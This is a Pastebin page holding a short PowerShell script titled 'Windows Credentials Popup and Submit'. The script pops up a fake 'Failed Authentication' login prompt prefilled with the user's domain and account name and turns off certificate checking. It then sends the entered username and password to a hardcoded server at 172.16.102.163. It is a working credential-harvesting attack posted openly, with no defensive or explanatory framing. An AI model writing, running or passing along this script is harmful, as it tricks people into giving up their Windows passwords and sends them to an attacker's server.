Advertisement
metalx1000

Windows Credentials Popup and Submit

Jan 20th, 2015
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
  2. $wc = new-object net.webclient;
  3. $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
  4. $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
  5. $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
  6. $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
  7. $result = $wc.downloadstring('https://172.16.102.163');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement